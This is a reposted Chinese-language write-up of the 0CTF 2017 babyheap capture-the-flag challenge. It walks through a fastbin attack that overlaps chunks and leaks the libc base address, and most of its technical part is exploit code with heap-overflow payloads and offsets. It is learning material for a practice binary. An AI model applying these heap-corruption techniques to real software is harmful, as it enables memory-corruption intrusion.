babyheap_0ctf_2017——堆入門1


看了幾天wp才把泄露libc看懂大半部分,有幾個疑點還是不清楚。

這道題是用fastbin attack,但我不知道為什么要這么用,還得多看看資料。

參考博客:https://bbs.pediy.com/thread-223461.htm

參考博客:https://www.cnblogs.com/luoleqi/p/12349714.html

知識點:利用 fastbin attack 即 double free 的方式泄露 libc 基址,當只有一個 small/large chunk 被釋放時,small/large chunk 的 fd 和 bk 指向 main_arena 中的地址,然后 fastbin attack 可以實現有限的地址寫能力。

首先

 

 讓你從5個選項中選擇一個命令

 

 這是alloc命令,選擇分配的大小,並且獲得一個index

 

 這是fill函數,選擇index和size,在輸入內容

 

 這是free函數,選擇index來釋放函數

 

 

dump函數選擇,index的內容輸出

 

程序沒有 uaf ,內存被釋放后無法查看其中內容,可以通過 double free 獲得指向 small bin 的 index,將其釋放后 dump 出來。

 

allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x80)
free(1)
free(2)

查看一下堆

 

 

 

 可以看到,塊2指向塊1,由於前面提到的原因,所以我們需要double free來獲取指向small bin的指針

payload = p64(0) * 3
payload += p64(0x21)
payload += p64(0) * 3
payload += p64(0x21)
payload += p8(0x80)
fill(0,payload)

填充塊1,與塊2,並且修改塊2的fd使其指向塊申請的small bin

 

 

由於塊2的fd指針指向了small bin當我們free掉small bin的時候,會被當成fast bin給free掉,所以我們需要覆蓋small bin的size,那么通過兩次(因為fast bin是單鏈表)alloc,就可以small chunk放入fast bin中了,在將這個偽造的fast bin給取出來,獲得他在這個程序里的index(不是bin的索引)

payload = p64(0) * 3
payload += p64(0x21)
fill(3,payload)

allocate(0x10)

allocate(0x10)

可以查看此時的堆空間中,small bin變成了fast bin

 

 這樣就有2個指針指向同一個chunk了,然后恢復其size大小,在釋放掉(釋放時,是當做small bin釋放的),接着查看對應chunk的index就好了

payload = p64(0) * 3
payload += p64(0x91)
fill(3,payload)
allocate(0x80)
free(4)

libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3c4b78

log.info("libc_base: "+hex(libc_base))

unsortbin 有一個特性,就是如果 usortbin 只有一個 bin ,它的 fd 和 bk 指針會指向同一個地址(unsorted bin 鏈表的頭部),這個地址為 main_arena + 0x58 ,而且 main_arena 又相對 libc 固定偏移 0x3c4b20 ,所以得到這個fd的值,然后減去0x58再減去main_arena相對於libc的固定偏移,即得到libc的基地址。所以我們需要把 chunk 改成大於 fastbin 的大小,這樣 free 后能進入 unsortbin 讓我們能夠泄露 libc 基址。

 

但這里我有一個疑問就是,為什么他的index是2,是因為覆蓋之后,fast bin所指向的index變成了2嗎,我還不知道怎么查看這個存儲用戶指向的chunk值,還得學一下這個才能明白

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM